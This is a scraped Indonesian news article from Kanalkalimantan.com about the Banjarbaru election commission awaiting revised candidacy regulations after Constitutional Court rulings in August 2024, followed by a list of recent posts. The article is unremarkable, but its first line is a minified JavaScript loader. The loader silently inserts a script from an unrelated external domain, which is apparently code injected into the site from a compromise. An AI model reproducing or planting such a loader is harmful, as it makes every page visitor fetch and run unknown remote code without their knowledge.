(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemilu 2024

KPU Banjarbaru Tunggu Perubahan PKPU Pasca Putusan MK


KANALKALIMANTAN.COM, BANJARBARU – Tahapan pendaftaran pasangan calon Pemilihan Kepala Daerah (Pilkada) 2024 akan dilangsungkan serentak oleh KPU provinsi, kabupaten/kota se Indonesia pada 27-29 Agustus 2024.

Empat hari menjelang pelaksanaan tahapan pendaftaran itu, Komisi Pemilihan Umum (KPU) Kota Banjarbaru masih menunggu teknis pendaftaran calon yang seyogyanya dimuat pada perubahan Peraturan Komisi Pemilihan Umum (PKPU) Nomor 8 Tahun 2024 tentang Pilkada.

Hal itu disampaikan Ketua KPU Banjarbaru, Dahtiar kepada Kanalkalimantan pasca keluar putusan Mahkamah Konstitusi (MK), Jumat (23/8/2024) pagi.

Baca juga: 23 Agustus Hari Konferensi Meja Bundar, Kedaulatan Pasca Kemerdekaan

“Kami lembaga yang bersifat hirarkis, akan berjalan sesuai dengan petunjuk arahan dan juga aturan yang mungkin akan dirubah KPU RI. Jadi apa yang akan jadi muatan dari KPU maupun PKPU, itu nanti yang akan kita laksanakan secara teknis,” kata Dahtiar.

Perubahan PKPU tersebut banyak dituntut massa pendemo agar sesuai dengan keputusan MK Nomor 60/PUU-XXII/2024 dan Nomor 70/PUU-XXII/2024.

Di sisi lain, KPU RI mengupayakan agar perubahan PKPU Nomor 8 Tahun 2024 dan pedoman teknis dalam menindaklanjuti putusan MK tersebut terbit sebelum pendaftaran pasangan calon Pilkada 2024.

Baca juga: #KawalPutusanMK: Mahasiswa Tak Mau DPRD Banjarbaru Adem Ayem

Sehingga ditegaskan Dahtiar, saat ini KPU Banjarbaru belum bisa menyampaikan apa yang menjadi teknis dan syarat percalonan Wali Kota dan Wakil Wali Kota Banjarbaru.

“Jadi untuk saat ini kita belum bisa menyampaikan secara teknis apa saja nanti (Syarat, red), tapi yang pasti kita sama-sama tahu bahwa kemarin dan malam tadi KPU RI telah memberikan statement akan mengikuti putusan MK,” kata Dahtiar.

Jika KPU RI melaksanakan putusan MK dengan melakukan penyesuaian aturan Pilkada yang tertuang dalam PKPU Nomor 8 Tahun 2024 itu, KPU Banjarbaru akan sejalan dan mengikutinya.

Baca juga: Aman di Dunia Digital: Membentengi Diri dari Ancaman Siber dan Judi Online

“Tinggal kita menunggu PKPU pencalonan yang akan diterbitkan oleh KPU RI,” tegasnya.

“Siap melaksanakan apapun arahan dan petunjuk dari KPU RI,” tandas Dahtiar. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Digital Entrepreneurship Academy di HSU, Up Skilling untuk Calon Pelaku UMKM

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani membuka pelatihan Digital Entrepreneurship Academy… Read More

5 jam ago

Penentuan Lokasi Transmigrasi Lokal Warga Terdampak Banjir, Ini Kata Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar rapat terkait penentuan lokasi rencana transmigrasi… Read More

5 jam ago

Optimalisasi Polder Alabio Salah Satu Prioritas dalam Musrenbang RKPD 2026

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana… Read More

6 jam ago

Jelang Coblosan Ulang, Pj Wali Kota: Serahkan Semua kepada Masyarakat, Jaga Netralitas ASN!

KANALKALIMANTAN.COM, BANJARBARU - Penjabat (Pj) Wali Kota Banjarbaru Subhan Nor Yaumil memimpin rapat koordinasi (Rakor)… Read More

9 jam ago

Perhatian Khusus Kasus Juwita, Komnas HAM Kumpulkan Fakta Lapangan

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Nasional Hak Asasi Manusia (Komnas HAM) Republik Indonesia (RI) Uli… Read More

9 jam ago

Komnas HAM RI ke Banjarbaru Penyelidikan Kasus Juwita

KANALKALIMANTAN.COM, BANJARBARU - Kasus pembunuhan berencana yang dilakukan Jumran, Anggota TNI AL Lanal Balikpapan terhadap… Read More

13 jam ago